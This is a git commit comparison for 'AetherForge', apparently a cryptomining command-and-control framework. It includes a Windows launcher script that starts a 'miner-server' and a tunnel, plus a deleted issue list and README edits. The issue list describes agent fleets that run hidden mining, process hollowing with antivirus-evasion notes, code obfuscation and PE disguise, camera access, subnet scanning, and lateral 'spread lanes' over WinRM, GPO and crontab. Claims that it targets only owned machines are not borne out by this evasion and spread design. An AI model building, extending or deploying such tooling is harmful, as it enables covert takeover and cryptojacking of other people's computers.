Compare commits
21 Commits
subnet-dis
...
main
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
1e4bbb6ff5 | ||
|
|
b58fc0ea8a | ||
|
|
3205fc56a2 | ||
|
|
813386a9de | ||
|
|
38820ea1ac | ||
|
|
d8b262d781 | ||
|
|
24f090e81e | ||
|
|
97b5fa48ff | ||
|
|
6298cf4fe1 | ||
|
|
48eb64a42c | ||
|
|
c62970061e | ||
|
|
bb37d8c384 | ||
|
|
a9f654c993 | ||
|
|
df88d160cb | ||
|
|
615034554c | ||
|
|
9a884a80b6 | ||
|
|
6ab43a468b | ||
|
|
0c7b676e23 | ||
|
|
ebcb1e1210 | ||
|
|
d4ac5d435a | ||
| 1d36d21242 |
174
LAUNCH.bat
174
LAUNCH.bat
@@ -2,23 +2,52 @@
|
|||||||
setlocal EnableExtensions EnableDelayedExpansion
|
setlocal EnableExtensions EnableDelayedExpansion
|
||||||
title AetherForge Control Deck
|
title AetherForge Control Deck
|
||||||
cd /d "%~dp0"
|
cd /d "%~dp0"
|
||||||
|
set "REPO=%CD%"
|
||||||
|
|
||||||
|
echo.
|
||||||
|
echo ================================================================
|
||||||
|
echo AetherForge - One-Click Launch
|
||||||
|
echo ================================================================
|
||||||
|
echo Folder: %REPO%
|
||||||
|
echo.
|
||||||
|
|
||||||
|
set "PREP=%REPO%\scripts\launch-prep.bat"
|
||||||
|
if not exist "%PREP%" set "PREP=%REPO%\..\scripts\launch-prep.bat"
|
||||||
|
if exist "%PREP%" (
|
||||||
|
call "%PREP%" "%REPO%"
|
||||||
|
if errorlevel 1 (
|
||||||
|
echo.
|
||||||
|
echo LAUNCH prep failed - fix errors above and retry.
|
||||||
|
pause
|
||||||
|
exit /b 1
|
||||||
|
)
|
||||||
|
) else (
|
||||||
|
echo [Prep] launch-prep.bat not found - skipping pull/UI build.
|
||||||
|
)
|
||||||
|
|
||||||
|
if /i "%AF_LAUNCH_DRY_RUN%"=="1" (
|
||||||
|
echo.
|
||||||
|
echo [Dry run] Prep steps OK - not starting tunnel or server.
|
||||||
|
pause
|
||||||
|
exit /b 0
|
||||||
|
)
|
||||||
|
|
||||||
:: Portable deck root = folder that contains AetherForge.exe (repo usb\ or copied USB drive)
|
:: Portable deck root = folder that contains AetherForge.exe (repo usb\ or copied USB drive)
|
||||||
|
set "ROOT="
|
||||||
if exist "%CD%\AetherForge.exe" (
|
if exist "%CD%\AetherForge.exe" (
|
||||||
set "ROOT=!CD!"
|
set "ROOT=!CD!"
|
||||||
) else if exist "%CD%\usb\AetherForge.exe" (
|
) else if exist "%CD%\usb\AetherForge.exe" (
|
||||||
cd /d "%CD%\usb"
|
cd /d "%CD%\usb"
|
||||||
set "ROOT=!CD!"
|
set "ROOT=!CD!"
|
||||||
) else (
|
|
||||||
echo.
|
|
||||||
echo ERROR: AetherForge.exe not found.
|
|
||||||
echo Expected next to this script, or in usb\AetherForge.exe
|
|
||||||
echo Run pack-usb.bat from the repo to build the portable bundle.
|
|
||||||
echo.
|
|
||||||
pause
|
|
||||||
exit /b 1
|
|
||||||
)
|
)
|
||||||
|
|
||||||
|
if defined ROOT if exist "%ROOT%\AetherForge.exe" goto portable_deck
|
||||||
|
|
||||||
|
:: No portable binary - dev control server from repo
|
||||||
|
goto dev_server_launch
|
||||||
|
|
||||||
|
:portable_deck
|
||||||
|
|
||||||
if not exist "%ROOT%\AetherForge.exe" (
|
if not exist "%ROOT%\AetherForge.exe" (
|
||||||
echo ERROR: AetherForge.exe missing in %ROOT%
|
echo ERROR: AetherForge.exe missing in %ROOT%
|
||||||
pause
|
pause
|
||||||
@@ -50,7 +79,6 @@ if exist "%BUNDLED_GO%" (
|
|||||||
goto go_ready
|
goto go_ready
|
||||||
)
|
)
|
||||||
|
|
||||||
:: Check if Go is installed system-wide
|
|
||||||
where go >nul 2>nul
|
where go >nul 2>nul
|
||||||
if not errorlevel 1 (
|
if not errorlevel 1 (
|
||||||
echo [Go] Using system Go installation.
|
echo [Go] Using system Go installation.
|
||||||
@@ -58,7 +86,6 @@ if not errorlevel 1 (
|
|||||||
goto go_ready
|
goto go_ready
|
||||||
)
|
)
|
||||||
|
|
||||||
:: Go not found anywhere - skip optional tools, proceed directly to server
|
|
||||||
echo.
|
echo.
|
||||||
echo [Go] Go not found - Forge obfuscation tools unavailable. Running server without them.
|
echo [Go] Go not found - Forge obfuscation tools unavailable. Running server without them.
|
||||||
echo.
|
echo.
|
||||||
@@ -66,17 +93,11 @@ goto server_launch
|
|||||||
|
|
||||||
:go_ready
|
:go_ready
|
||||||
|
|
||||||
:: ----------------------------------------------------------------
|
|
||||||
:: 2. Pin all Go caches to the USB so module downloads travel with you
|
|
||||||
:: ----------------------------------------------------------------
|
|
||||||
set "GOPATH=%ROOT%\toolchain\gopath"
|
set "GOPATH=%ROOT%\toolchain\gopath"
|
||||||
set "GOMODCACHE=%ROOT%\toolchain\gopath\pkg\mod"
|
set "GOMODCACHE=%ROOT%\toolchain\gopath\pkg\mod"
|
||||||
set "GOCACHE=%ROOT%\toolchain\gocache"
|
set "GOCACHE=%ROOT%\toolchain\gocache"
|
||||||
set "GOENV=off"
|
set "GOENV=off"
|
||||||
|
|
||||||
:: ----------------------------------------------------------------
|
|
||||||
:: 3. Install optional Forge tools if missing (non-fatal)
|
|
||||||
:: ----------------------------------------------------------------
|
|
||||||
if /i not "%AF_INSTALL_TOOLS%"=="0" (
|
if /i not "%AF_INSTALL_TOOLS%"=="0" (
|
||||||
if not exist "%ROOT%\toolchain\gopath\bin\garble.exe" (
|
if not exist "%ROOT%\toolchain\gopath\bin\garble.exe" (
|
||||||
echo [Tools] Installing garble...
|
echo [Tools] Installing garble...
|
||||||
@@ -95,9 +116,8 @@ if /i not "%AF_INSTALL_TOOLS%"=="0" (
|
|||||||
|
|
||||||
:server_launch
|
:server_launch
|
||||||
|
|
||||||
:: ----------------------------------------------------------------
|
echo.
|
||||||
:: 4. Ensure data directories exist
|
echo Ensuring data directories...
|
||||||
:: ----------------------------------------------------------------
|
|
||||||
if not exist "%ROOT%\data\builds" mkdir "%ROOT%\data\builds"
|
if not exist "%ROOT%\data\builds" mkdir "%ROOT%\data\builds"
|
||||||
if not exist "%ROOT%\data\logs" mkdir "%ROOT%\data\logs"
|
if not exist "%ROOT%\data\logs" mkdir "%ROOT%\data\logs"
|
||||||
if not exist "%ROOT%\data\spread-kits" mkdir "%ROOT%\data\spread-kits"
|
if not exist "%ROOT%\data\spread-kits" mkdir "%ROOT%\data\spread-kits"
|
||||||
@@ -105,9 +125,6 @@ if not exist "%ROOT%\data\uploads" mkdir "%ROOT%\data\uploads"
|
|||||||
if not exist "%ROOT%\data\blueprints" mkdir "%ROOT%\data\blueprints"
|
if not exist "%ROOT%\data\blueprints" mkdir "%ROOT%\data\blueprints"
|
||||||
if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps"
|
if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps"
|
||||||
|
|
||||||
:: ----------------------------------------------------------------
|
|
||||||
:: 5. Detect LAN IP for display
|
|
||||||
:: ----------------------------------------------------------------
|
|
||||||
set "SERVER_PORT=8989"
|
set "SERVER_PORT=8989"
|
||||||
set "CONFIG_FILE=%ROOT%\data\config.json"
|
set "CONFIG_FILE=%ROOT%\data\config.json"
|
||||||
if exist "%CONFIG_FILE%" (
|
if exist "%CONFIG_FILE%" (
|
||||||
@@ -123,9 +140,7 @@ set "LAN_IP=localhost"
|
|||||||
:lan_done
|
:lan_done
|
||||||
set "LAN_IP=%LAN_IP: =%"
|
set "LAN_IP=%LAN_IP: =%"
|
||||||
|
|
||||||
:: ----------------------------------------------------------------
|
echo Stopping stale processes...
|
||||||
:: 6. Kill any stale server and tunnel processes
|
|
||||||
:: ----------------------------------------------------------------
|
|
||||||
taskkill /F /IM AetherForge.exe >nul 2>nul
|
taskkill /F /IM AetherForge.exe >nul 2>nul
|
||||||
taskkill /F /IM cloudflared.exe >nul 2>nul
|
taskkill /F /IM cloudflared.exe >nul 2>nul
|
||||||
ping -n 2 127.0.0.1 >nul
|
ping -n 2 127.0.0.1 >nul
|
||||||
@@ -139,12 +154,11 @@ echo LAN: http://%LAN_IP%:%SERVER_PORT%
|
|||||||
echo Data: %ROOT%\data\
|
echo Data: %ROOT%\data\
|
||||||
echo.
|
echo.
|
||||||
echo Login accounts: admin + comrade ^(passwords below after start^).
|
echo Login accounts: admin + comrade ^(passwords below after start^).
|
||||||
echo Cloudflare tunnel starts below ^(LAUNCH + server^).
|
|
||||||
echo Press Ctrl+C to stop.
|
echo Press Ctrl+C to stop.
|
||||||
echo ================================================================
|
echo ================================================================
|
||||||
echo.
|
echo.
|
||||||
|
|
||||||
:: Start Cloudflare connector before server ^(works with old or new AetherForge.exe^)
|
echo Starting tunnel...
|
||||||
set "CF_SCRIPT=%ROOT%\scripts\usb-start-cloudflared.ps1"
|
set "CF_SCRIPT=%ROOT%\scripts\usb-start-cloudflared.ps1"
|
||||||
if not exist "%CF_SCRIPT%" set "CF_SCRIPT=%ROOT%\..\scripts\usb-start-cloudflared.ps1"
|
if not exist "%CF_SCRIPT%" set "CF_SCRIPT=%ROOT%\..\scripts\usb-start-cloudflared.ps1"
|
||||||
if exist "%CF_SCRIPT%" (
|
if exist "%CF_SCRIPT%" (
|
||||||
@@ -154,31 +168,123 @@ if exist "%CF_SCRIPT%" (
|
|||||||
)
|
)
|
||||||
echo.
|
echo.
|
||||||
|
|
||||||
:: Ensure cwd matches deck root so webroot resolution finds usb\webroot
|
|
||||||
cd /d "%ROOT%"
|
cd /d "%ROOT%"
|
||||||
|
|
||||||
:: Open browser after short delay
|
|
||||||
start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'"
|
start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'"
|
||||||
|
|
||||||
:: Launch server (LAUNCH already started cloudflared above — tell server not to spawn a second copy)
|
echo Starting server...
|
||||||
set "AF_TUNNEL_EXTERNAL=1"
|
set "AF_TUNNEL_EXTERNAL=1"
|
||||||
"%ROOT%\AetherForge.exe" -data "%ROOT%\data"
|
"%ROOT%\AetherForge.exe" -data "%ROOT%\data"
|
||||||
set "EC=!ERRORLEVEL!"
|
set "EC=!ERRORLEVEL!"
|
||||||
|
|
||||||
if exist "%ROOT%\data\cloudflared.pid" (
|
call :cleanup_tunnel "%ROOT%"
|
||||||
for /f "usebackq" %%P in ("%ROOT%\data\cloudflared.pid") do (
|
goto server_stopped
|
||||||
|
|
||||||
|
:dev_server_launch
|
||||||
|
echo.
|
||||||
|
echo No AetherForge.exe - starting dev control server ^(repo^).
|
||||||
|
echo ^(Run pack-usb.bat for portable USB bundle.^)
|
||||||
|
echo.
|
||||||
|
|
||||||
|
set "PATH=C:\Program Files\Go\bin;%USERPROFILE%\go\bin;C:\Program Files\nodejs;%PATH%"
|
||||||
|
set "DATA=%REPO%\data"
|
||||||
|
set "DECK=%REPO%"
|
||||||
|
if exist "%REPO%\usb\tools\cloudflared.exe" set "DECK=%REPO%\usb"
|
||||||
|
if exist "%REPO%\usb\data" if not exist "%DECK%\data" set "DECK=%REPO%\usb"
|
||||||
|
|
||||||
|
echo Ensuring data directories...
|
||||||
|
if not exist "%DATA%\builds" mkdir "%DATA%\builds"
|
||||||
|
if not exist "%DATA%\logs" mkdir "%DATA%\logs"
|
||||||
|
if not exist "%DATA%\spread-kits" mkdir "%DATA%\spread-kits"
|
||||||
|
if not exist "%DATA%\uploads" mkdir "%DATA%\uploads"
|
||||||
|
if not exist "%DATA%\blueprints" mkdir "%DATA%\blueprints"
|
||||||
|
if not exist "%DATA%\preps" mkdir "%DATA%\preps"
|
||||||
|
if not exist "%REPO%\bin" mkdir "%REPO%\bin"
|
||||||
|
|
||||||
|
set "SERVER_PORT=8989"
|
||||||
|
set "CONFIG_FILE=%DATA%\config.json"
|
||||||
|
if exist "%CONFIG_FILE%" (
|
||||||
|
for /f "usebackq delims=" %%P in (`powershell -NoProfile -Command "try { $j = Get-Content -Raw '%CONFIG_FILE%' | ConvertFrom-Json; if ($j.port) { $j.port } } catch { }"`) do (
|
||||||
|
if not "%%P"=="" set "SERVER_PORT=%%P"
|
||||||
|
)
|
||||||
|
)
|
||||||
|
set "LAN_IP=localhost"
|
||||||
|
|
||||||
|
echo Stopping stale processes...
|
||||||
|
taskkill /F /IM miner-server.exe >nul 2>nul
|
||||||
|
taskkill /F /IM AetherForge.exe >nul 2>nul
|
||||||
|
taskkill /F /IM cloudflared.exe >nul 2>nul
|
||||||
|
ping -n 2 127.0.0.1 >nul
|
||||||
|
|
||||||
|
where go >nul 2>nul
|
||||||
|
if errorlevel 1 (
|
||||||
|
echo ERROR: Go not found - install from https://go.dev/dl/ or use pack-usb.bat
|
||||||
|
pause
|
||||||
|
exit /b 1
|
||||||
|
)
|
||||||
|
|
||||||
|
if not exist "%REPO%\bin\miner-server.exe" (
|
||||||
|
echo Building control server...
|
||||||
|
cd /d "%REPO%\server"
|
||||||
|
go mod download >nul 2>nul
|
||||||
|
go build -ldflags="-s -w" -o "..\bin\miner-server.exe" .
|
||||||
|
if errorlevel 1 (
|
||||||
|
cd /d "%REPO%"
|
||||||
|
echo ERROR: Server build failed.
|
||||||
|
pause
|
||||||
|
exit /b 1
|
||||||
|
)
|
||||||
|
cd /d "%REPO%"
|
||||||
|
)
|
||||||
|
|
||||||
|
echo.
|
||||||
|
echo ================================================================
|
||||||
|
echo STARTING CONTROL SERVER ^(dev^)
|
||||||
|
echo ================================================================
|
||||||
|
echo Dashboard: http://localhost:%SERVER_PORT%
|
||||||
|
echo Data: %DATA%\
|
||||||
|
echo ================================================================
|
||||||
|
echo.
|
||||||
|
|
||||||
|
echo Starting tunnel...
|
||||||
|
set "CF_SCRIPT=%REPO%\scripts\usb-start-cloudflared.ps1"
|
||||||
|
if not exist "%CF_SCRIPT%" set "CF_SCRIPT=%DECK%\scripts\usb-start-cloudflared.ps1"
|
||||||
|
if exist "%CF_SCRIPT%" (
|
||||||
|
powershell -NoProfile -ExecutionPolicy Bypass -File "%CF_SCRIPT%" -DeckRoot "%DECK%"
|
||||||
|
) else (
|
||||||
|
echo [Tunnel] WARNING: usb-start-cloudflared.ps1 not found.
|
||||||
|
)
|
||||||
|
echo.
|
||||||
|
|
||||||
|
start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'"
|
||||||
|
|
||||||
|
echo Starting server...
|
||||||
|
cd /d "%REPO%"
|
||||||
|
set "AF_TUNNEL_EXTERNAL=1"
|
||||||
|
"%REPO%\bin\miner-server.exe" -data "%DATA%"
|
||||||
|
set "EC=!ERRORLEVEL!"
|
||||||
|
|
||||||
|
call :cleanup_tunnel "%DECK%"
|
||||||
|
goto server_stopped
|
||||||
|
|
||||||
|
:cleanup_tunnel
|
||||||
|
set "TROOT=%~1"
|
||||||
|
if exist "%TROOT%\data\cloudflared.pid" (
|
||||||
|
for /f "usebackq" %%P in ("%TROOT%\data\cloudflared.pid") do (
|
||||||
taskkill /F /PID %%P >nul 2>nul
|
taskkill /F /PID %%P >nul 2>nul
|
||||||
)
|
)
|
||||||
del "%ROOT%\data\cloudflared.pid" 2>nul
|
del "%TROOT%\data\cloudflared.pid" 2>nul
|
||||||
)
|
)
|
||||||
taskkill /F /IM cloudflared.exe >nul 2>nul
|
taskkill /F /IM cloudflared.exe >nul 2>nul
|
||||||
|
exit /b 0
|
||||||
|
|
||||||
|
:server_stopped
|
||||||
echo.
|
echo.
|
||||||
if "!EC!"=="0" (
|
if "!EC!"=="0" (
|
||||||
echo [Server] Stopped normally.
|
echo [Server] Stopped normally.
|
||||||
) else (
|
) else (
|
||||||
echo [Server] Exited with code !EC!.
|
echo [Server] Exited with code !EC!.
|
||||||
echo If port %SERVER_PORT% is in use, close other AetherForge windows and retry.
|
echo If port %SERVER_PORT% is in use, close other server windows and retry.
|
||||||
)
|
)
|
||||||
|
|
||||||
echo.
|
echo.
|
||||||
|
|||||||
21
LICENSE
Normal file
21
LICENSE
Normal file
@@ -0,0 +1,21 @@
|
|||||||
|
MIT License
|
||||||
|
|
||||||
|
Copyright (c) 2026 sudo-jones-cmd
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in all
|
||||||
|
copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
SOFTWARE.
|
||||||
98
PROBLEMS.md
98
PROBLEMS.md
@@ -1,98 +0,0 @@
|
|||||||
# PROBLEMS.md
|
|
||||||
|
|
||||||
Open issues only. Fixed items removed. Last sweep: 2026-06-07.
|
|
||||||
|
|
||||||
## No open code issues
|
|
||||||
|
|
||||||
Automatable gaps are closed; remaining items below are by-design limits, architecture deferrals, or manual/live operator work. Regression tables and counts: Go server **1007**, agent **680**, Vitest **867**, Playwright **32** — see `tests/README.md`.
|
|
||||||
|
|
||||||
## By design / safety
|
|
||||||
|
|
||||||
| Issue | Notes |
|
|
||||||
|-------|-------|
|
|
||||||
| **`bof_execute` disabled** | Agent returns explicit error; in-memory BOF execution disabled (`client.go`). |
|
|
||||||
| **Process hollowing AMSI/ETW** | Relocation done; Defender/ETW ~50% failure; bypass not implemented (`hollow_windows.go`). |
|
|
||||||
| **Cloudflared in-process (non-Windows server)** | Stub on Linux/macOS; use external connector (`AF_TUNNEL_EXTERNAL`) or add launcher. |
|
|
||||||
| **macOS camera / GPU miner** | Stubs or partial; Linux has V4L2 + nvidia-smi path. |
|
|
||||||
| **KEV heuristics** | Non-Windows agents return `Status: n/a` (Windows-only CVE matching). |
|
|
||||||
| **Mesh P2P without `-tags p2p`** | Default build reports 0 peers (`mesh_p2p_stub.go`). |
|
|
||||||
| **Linux/macOS GPU RVN mining** | `detectGPU()` may find NVIDIA but miners download Windows `.exe` only. |
|
|
||||||
|
|
||||||
## Scale limits (hundreds of subnets / 500+ agents)
|
|
||||||
|
|
||||||
| Area | Notes |
|
|
||||||
|------|-------|
|
|
||||||
| **Subnet grouping** | Derived from `agents.ip` /24 prefix at query time; no `agents.subnet` column - hundreds of subnets OK via `LIKE` filter + dropdown (not chips). |
|
|
||||||
| **Per-agent subnet scan** | Capped at 128 hosts (`MaxSubnetScanHosts`); syscheck uses 20 (`SyscheckSubnetScanCap`); spread sem=16 (`SpreadConcurrencyCap`). Fleet discovery is incremental (ARP + capped sweep), not full /16. |
|
|
||||||
| **Subnet discovery server store** | `subnet_discoveries` SQLite table; agent WS `subnet_recon_report` ingest; dashboard `GET /api/v1/recon/discovered-hosts` + `subnet_discovery_update` broadcast. Agent auth marks matching IP `agent_online`. Covered by `-SubnetRecon` api/db gates. |
|
|
||||||
| **`stats_batch` WS** | Server coalesces stats every 250ms (`StatsBatchCoalesceInterval`) into one frame; client applies in single `setAgents` pass with `agentStatsUnchanged` skip. |
|
|
||||||
| **Hashrate samples** | One `INSERT` per agent stats tick - dominant DB write at scale. Automated purge via `StartRetentionJobs` (default 168h, `stats_retention_hours`). |
|
|
||||||
| **Stale-agent sweep** | Every 45s (`StaleAgentSweepInterval`) queries `status='online' AND last_seen < cutoff` (`ListStaleOnlineAgents`, composite index) - not a full-table scan. Still O(stale-online) broadcasts per sweep. |
|
|
||||||
|
|
||||||
## Container Mining
|
|
||||||
|
|
||||||
| Topic | Notes |
|
|
||||||
|-------|-------|
|
|
||||||
| **Fallback chain** | `agent/miner/fallback_chain.go` orchestrates container → in-process → GPU (parallel) → Stratum overlay. Failures in `failed_methods[]` on stats WS (tested). 30s cooldown between full re-passes (`DefaultChainCooldown`, `RestartChain` clears). |
|
|
||||||
| **Default execution** | Forge default is `auto` (full chain). `inprocess`/`container`/`subprocess` limit which steps run. Forge shows worker-image build hint when auto/container selected. |
|
|
||||||
| **AV limits (honest)** | Containers are **not** invisible - AV still sees `docker.exe`, image pulls, and container filesystem scans. Legitimate benefit is **isolated workload** and fewer host subprocess spawns (GPU T-Rex/TRM). In-process RandomX has no external CPU miner exe. |
|
|
||||||
| **GPU in container** | Linux `--gpus all` stub only; Windows Docker Desktop GPU passthrough is operator-dependent. Host subprocess GPU path remains fallback. |
|
|
||||||
| **Worker image** | `aetherforge/agent-worker:latest` (override `AETHERFORGE_MINER_IMAGE`). Build from `docker/Dockerfile.agent`; Forge live notice + `FieldHint` on Miner Execution. |
|
|
||||||
| **Container hashrate** | Host relays container worker H/s via `MINER_STATS_FILE` + `ProbeHashrate()` when `hostMiningDisabled` (dashboard no longer stuck at 0). |
|
|
||||||
| **Deferred** | Auto-build/push worker image in forge; Podman rootless on Windows. |
|
|
||||||
|
|
||||||
## Architecture deferred (large)
|
|
||||||
|
|
||||||
| Area | Notes |
|
|
||||||
|------|-------|
|
|
||||||
| **`tunnel_stream`** | Server-side TCP reverse relay documented as future (`README.md`). |
|
|
||||||
| **Path Tracer sessions** | Sessions persist to SQLite (`pathtrace_sessions`) with startup restore (`loadPersistedSessions`; `pathtracer_persist_test.go`); handler map is cache. Gap: no full server-process restart E2E; live multi-hop WireGuard chain not automated in CI. |
|
|
||||||
| **Non-Windows Path Tracer parity** | `pathtracer_stub.go` errors on `wg_setup`; chains are Windows-agent focused. |
|
|
||||||
| **NAT / symmetric UDP** | UPnP + DB IP fallback; no STUN/TURN or post-config connectivity probe. |
|
|
||||||
| **Fixed WireGuard port 51820** | Same UDP port all hops; multi-agent behind one NAT may conflict. |
|
|
||||||
| **Agent display name vs hostname** | WS `UpsertAgent` preserves operator rename when `name != hostname`; reconnect with hostname only keeps DB label. |
|
|
||||||
| **WireGuard auto-download (Windows)** | `ensureWGExe()` on first Path Tracer use; heavy, may need admin; pre-install recommended. |
|
|
||||||
| **Monolithic WebSocket context** | All `useWebSocket()` consumers re-render on any WS change; split contexts/selectors deferred. |
|
|
||||||
| **`CruciblePage` size (~2k lines)** | Terminal + fleet + tabs in one component; section split/memo deferred. |
|
|
||||||
| **WS `init` ships full fleet** | Dashboard connect still loads all agents in one JSON blob; pagination is REST-only (`?limit=&offset=`). |
|
|
||||||
| **SQLite single-writer ceiling** | `SetMaxOpenConns(1)` + WAL; sustained 1000+ agents with per-tick DB writes may SQLITE_BUSY; consider Postgres or write batching at 1000+. |
|
|
||||||
| **In-memory WS agent state** | Hub maps (`agentCapabilities`, `agentLogs`, DNS cache) grow O(agents); no eviction on disconnect beyond log trim. |
|
|
||||||
| **Fleet topology 3D cap** | `FleetTopologyMap` renders at most 200 nodes; larger fleets need subnet-grouped view or server-side aggregation. |
|
|
||||||
| **Crucible roster pagination** | Roster paginates 80 cards/page; bulk select-all still operates on filtered set in memory. |
|
|
||||||
| **No CI HTTP forge** | `e2e-validate.ps1 -ForgeAgent` manual; live compile needs `LIVE_FORGE=1` + `-tags liveforge`. |
|
|
||||||
| **Non-Windows forge host** | PE disguise / osslsigncode signing platform-limited by design. |
|
|
||||||
| **Mac PathForge runtime** | `.command` curl `/api/download/agent-mac`; needs reachable `server_url` + binary on server. |
|
|
||||||
| **Terminal virtualization** | 400-line DOM cap only; full virtual scrollback deferred. |
|
|
||||||
| **Vite chunk weight** | `three` + vendor warnings; FleetTopologyMap lazy but heavy first open. |
|
|
||||||
|
|
||||||
|
|
||||||
## AWS cloud features (honest operator scope)
|
|
||||||
|
|
||||||
| Area | Notes |
|
|
||||||
|------|-------|
|
|
||||||
| **S3 + CloudFront erasure swarm** | Deploy plans can upload RS 4+2 shards when `AF_AWS_*` / `AF_CLOUDFRONT_*` env creds and Calibrate bucket/domain are set. **Test connection** and IAM/bucket policy JSON are local-only (no AWS API from the server except optional S3 HeadBucket when creds present). |
|
|
||||||
| **SSM `ssm_document` spread lane** | Emberwake SSM panel exports document + run-command CLI for owned EC2; agents execute curl against your deck. Requires operator AWS CLI + IAM on instances (managed instance profile). |
|
|
||||||
| **Launch Template strain genesis** | Crucible/forge exports `launch-template.json`, `user-data.sh`, ASG example for horizontal EC2 genesis auth (`join_lane=launch_template`). Operator applies in their AWS account. |
|
|
||||||
| **Cloud spread kits** | Emberwake Cloud Spread panel ZIPs templates (S3/CloudFront, MinIO, Cloud Map snippets). Connection test is HTTP reachability only. |
|
|
||||||
| **Policy snapshot / EventBridge fan-out** | Public `policy-snapshot/{token}` + fan-out ZIP for degraded agents; relay URL is operator-deployed Lambda/EventBridge—server does not call AWS APIs. |
|
|
||||||
| **Fargate burst campaign** | Optional burst seeder task definition export; **not** auto-provisioned—operator ECS/Fargate + creds required. |
|
|
||||||
| **Live AWS validation** | Full gate needs operator IAM (`s3:PutObject`, CloudFront signing keys, SSM SendCommand on fleet). CI/automation covers mocks; no shared AWS account in repo. |
|
|
||||||
|
|
||||||
## Manual / live / honest partial
|
|
||||||
|
|
||||||
| Item | Notes |
|
|
||||||
|------|-------|
|
|
||||||
| **Live S3 PutObject + CloudFront signed magnets** | CI mocks `AttachS3Swarm` inject store; operator `AF_AWS_*` / `AF_CLOUDFRONT_*` + bucket policy required for real shard upload. |
|
|
||||||
| **SSM SendCommand on owned EC2** | Emberwake exports document + run-command CLI only; server never calls AWS SSM APIs. |
|
|
||||||
| **Fargate ECS RunTask burst** | Task-definition ZIP + campaign sync tested; operator applies ECS/Fargate in their VPC. |
|
|
||||||
| **EventBridge policy fan-out Lambda** | Fan-out ZIP + public snapshot URL tested; relay Lambda/EventBridge is operator-deployed. |
|
|
||||||
| **Cloud Map route_via on deploy plans** | Agent registry fetch tested; server `AttachCloudMapRouteVia` wiring deferred (skipped Go tests). |
|
|
||||||
| **Cloud venue on live EC2** | IMDS tag inference tested with inject; real `g4dn`/spot/batch labels need AWS instances. |
|
|
||||||
| **Onion contingency LLM invoke** | Deterministic persona branch compose in CI; live court LLM on every exhaust tick not automated. |
|
|
||||||
| **P2 spread lanes (manual only)** | Live Docker/Podman start; real WinRM/GPO/systemd/crontab on remote hosts; live BITS/curl; live multi-hop discover→spread without Playwright stub. |
|
|
||||||
| **Deploy Recon port scan / crawl** | TCP port dial and same-origin HTTP crawl execute on the **dashboard host** (Go server), not from fleet agents. Firewall path must allow the server to reach the owned target. |
|
|
||||||
| **Deploy Recon SSRF** | UI copies SSRF probe URLs; **no automated form submit** — operator pastes probe URL into owned target fields manually to validate server-side fetch to install.sh. |
|
|
||||||
|
|
||||||
## Do not commit
|
|
||||||
|
|
||||||
- `data/login-credentials.json`, `data/users.json`, and other local secrets.
|
|
||||||
50
README.md
50
README.md
@@ -316,35 +316,32 @@ AetherForge exposes **legitimate operator tunneling** for machines you administe
|
|||||||
|
|
||||||
**Requirements:** Windows 10/11 on control PC. Outbound internet to your pool.
|
**Requirements:** Windows 10/11 on control PC. Outbound internet to your pool.
|
||||||
|
|
||||||
### Simple start (deploy → test → mine)
|
### Simple start
|
||||||
|
|
||||||
Three steps — no spread, no triple onion, no Probe & Join required:
|
**Double-click `LAUNCH.bat` — that's it.**
|
||||||
|
|
||||||
1. **Calibrate** — set your XMR **wallet** and **pool** (SupportXMR or your upstream).
|
One click pulls updates (when online), builds the dashboard UI, ensures data folders, starts the Cloudflare tunnel sidecar, launches the control server, and opens your browser to the Command Deck (default **http://localhost:8989**). No portable USB bundle? `LAUNCH.bat` builds and runs `bin\miner-server.exe` from the repo instead.
|
||||||
2. **Forge → Simple mode → Deploy & Mine** — one click forges an in-process worker (`simple_deploy` baked in). Run the `.exe` **once** on each PC you own.
|
|
||||||
3. **Command Deck** — status shows **Testing → Mining** (or a clear failure reason). Online with 0 H/s? Use **Run diagnostics** or **Restart mining** on the banner.
|
|
||||||
|
|
||||||
Honest scope: **deploy** here means C2 registration + mining tier probe on that host — not lateral spread or registry staging to other machines.
|
After the deck is up: **Calibrate** wallet/pool, then **Forge → Simple mode → Deploy & Mine** on each PC you own. Honest scope: **deploy** means C2 registration + mining tier probe on that host — not lateral spread.
|
||||||
|
|
||||||
### Operator path (dev control PC)
|
### Operator path (dev control PC)
|
||||||
|
|
||||||
1. Double-click **`devrun.bat`** in the project root.
|
1. **`LAUNCH.bat`** — same one-click path as above (preferred).
|
||||||
Installs Go/Node if missing, builds the dashboard, compiles `bin\miner-server.exe`, copies web assets, and starts the server.
|
2. Or double-click **`devrun.bat`** for a dev-focused window (installs Go/Node if missing, pull + UI build, compiles `bin\miner-server.exe`, live logs).
|
||||||
|
|
||||||
2. Browser opens **http://localhost:8989**
|
3. Browser opens **http://localhost:8989**
|
||||||
|
|
||||||
3. **Sign in** — first run: check the console window for **admin** and **comrade** passwords (both auto-created)
|
4. **Sign in** — first run: check the console window for **admin** and **comrade** passwords (both auto-created)
|
||||||
|
|
||||||
